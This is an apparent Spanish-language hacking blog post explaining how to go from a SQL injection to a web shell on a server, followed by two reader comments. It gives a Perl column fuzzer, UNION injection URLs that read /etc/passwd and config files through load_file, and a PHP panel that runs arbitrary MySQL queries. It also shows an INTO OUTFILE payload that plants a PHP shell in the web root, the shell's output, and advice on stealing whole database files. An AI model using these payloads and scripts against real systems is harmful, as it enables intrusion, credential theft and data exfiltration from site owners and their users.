Rootear Servidor Mediante SQL Injection

Posted on 19:05 by Xianur0

No es tanto como rootear pero si se puede subir shell jeje..

Xianur0 ~ # perl fuzzer.pl http://localhost/vuln.php?id=
Imprime Columna: 0
Imprime Columna: 1
Imprime Columna: 2
URI Generado:
http://localhost/vuln.php?id=-10/**/UNION/**/SELECT/**/concat(0x46757a7a657242795869616e757230,0),concat(0x46757a7a657242795869616e757230,1),concat(0x46757a7a657242795869616e757230,2)


(utilizamos el mismo script que en el ultimo manual de SQL Injection que publique)

Fuzzer.pl:



#!/usr/bin/perl
#By Xianur0
use LWP::UserAgent;
$ua = LWP::UserAgent->new;
my $uri = $ARGV[0];
$uri = shift || die("Uso: fuzzer.pl [URI a SQL Injection]\n");
$ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16");
my $inyeccion = "-10/**/UNION/**/SELECT/**/concat(0x46757a7a657242795869616e757230,0)";
$uri .= "$inyeccion";
for($i=1; $i<1000;$i++) {
$uri .= ",concat(0x46757a7a657242795869616e757230,$i)";
$req = HTTP::Request->new(GET => $uri);
$req->header('Accept' => 'text/html');
$res = $ua->request($req);
if($res->content !~ "The used SELECT statements have a different number of columns") {
for($o=0; $o<=$i;$o++) {
if($res->content =~ "FuzzerByXianur0$o") {
print "Imprime Columna: $o\n";
}
} die "URI Generado: \n$uri\n";}}



ya que tenemos las tablas a donde imprime vamos a comenzar a recolectar informacion:

http://localhost/vuln.php?id=-10/**/UNION/**/SELECT/**/load_file(0x2f6574632f706173737764),1,2

nota:
0x2f6574632f706173737764 es el equivalente a /etc/passwd en hexadecimal

Si tenemos permisos de leer el archivo nos lo cargara.

Suponiendo que tenemos el directorio donde se encuentra la web tambien podemos leer archivos con datos interesantes, por ejemplo en este ejemplo podemos sacar la password del MySQL, la cual se encuentra en este archivo que estamos usando para el ejemplo, y sabiendo que la ruta es: /opt/lampp/htdocs/vuln.php



ahora podemos conectarnos al servidor MySQL.

<html>
<body>
<?php
function conectado()
{
print '<h1>Conectado!</h1><form action="" method="POST">
<textarea rows="10" cols="40" name="comando"></textarea><br>
<input type="submit" value="xEcut!">
</form>';
}

function inicio() {
print '<form action="" method="GET">
<b>Server: <input type="text" name=server><br>
User: <input type="text" name=user><br>
Password: <input type="text" name=passwd><br>
DB: <input type="text" name=db><br>
<input type="submit" value="Conectar">
</form>';
}

$link = mysql_connect($_GET['server'], $_GET['user'], $_GET['passwd']);
$conectado = mysql_select_db($_GET['db'], $link);
if($conectado) conectado();
if(isset($_POST['comando'])) {
$result = mysql_query($_POST['comando'], $link);
while ($row = mysql_fetch_row($result)){
echo '<textarea rows="10" cols="40">';
foreach($row as $indice => $valor) print $valor."\n";
print '</textarea><br>';
}
} else inicio();
?>
</body>
</html>


Tambien podemos crear archivos en el servidor, como por ejemplo:

http://127.0.0.1/vuln.php?id=-10/**/UNION/**/SELECT/**/0,1,0x3c3f7068700d0a696e636c75646528277368656c6c27293b0d0a3f3e/**/INTO/**/OUTFILE/**/'
/opt/lampp/htdocs/shell.php'

Usemos La Shell:

http://127.0.0.1/shell.php?shell=/etc/passwd

Resultado:
root:x:0:0::/root:/bin/bash bin:x:1:1:bin:/bin:/bin/false daemon:x:2:2:daemon:/sbin:/bin/false adm:x:3:4:adm:/var/log:/bin/false lp:x:4:7:lp:/var/spool/lpd:/bin/false sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/:/bin/false news:x:9:13:news:/usr/lib/news:/bin/false uucp:x:10:14:uucp:/var/spool/uucppublic:/bin/false operator:x:11:0:operator:/root:/bin/bash games:x:12:100:games:/usr/games:/bin/false ftp:x:14:50::/home/ftp:/bin/false smmsp:x:25:25:smmsp:/var/spool/clientmqueue:/bin/false mysql:x:27:27:MySQL:/var/lib/mysql:/bin/bash rpc:x:32:32:RPC portmap user:/:/bin/false sshd:x:33:33:sshd:/:/bin/false gdm:x:42:42:GDM:/var/state/gdm:/bin/bash apache:x:80:80:User for Apache:/srv/httpd:/bin/false messagebus:x:81:81:User for D-BUS:/var/run/dbus:/bin/false haldaemon:x:82:82:User for HAL:/var/run/hald:/bin/false pop:x:90:90:POP:/:/bin/false nobody:x:99:99:nobody:/:/bin/false

También podemos poner en vez de /etc/passwd la url a una shell php.

suponiendo que no tenemos acceso a editar esa carpeta, bueno podemos crear el php en el directorio tmp, y llamar la shell mediante un LFI (por dar un ejemplo).

tambien se puede sacar las DBs enteras mediante load_file(), ya que los archivos de la DB se localizan en: /var/mysql/
Los archivos mas interesantes son los: .MYD jeje, solo recuerden que no están del todo ordenados (están llenos de caracteres ilegibles humanamente hablando).

Pero para ello programe un codigo para eliminar dichos caracteres:


<?php
print "<title>Purificador de Caracteres By Xianur0</title><h1>Purificador de Caracteres By Xianur0</h1><form method='POST'><textarea rows='10' cols='30' name='code'></textarea><br><input type='submit' value='Limpiar!'></form>";
function ascii2hex($ascii) {
for ($i = 0; $i < strlen($ascii); $i++) {
$byte = ord($ascii{$i});
if($byte >=21 && $byte <=126) {
$hex .= chr($byte);
}}
return $hex;
}

if(isset($_POST['code'])) print "<br><b>Texto Limpiado: <br></b>".htmlentities(ascii2hex($_POST['code']));
?>


Nota:
Vengador de las Sombras te voy a mandar a estudiar geometría xD.
http://es.wikipedia.org/wiki/Pentagrama_(geometr%C3%ADa)


2 comentarios:

Santaman dijo...

creo k en lo de fuzzer te falto parte de la injecion, ya que se quedo con el concat...
Atte:Santaman

Benzakeitor dijo...

eii bro buen aporte ;)

jeje :)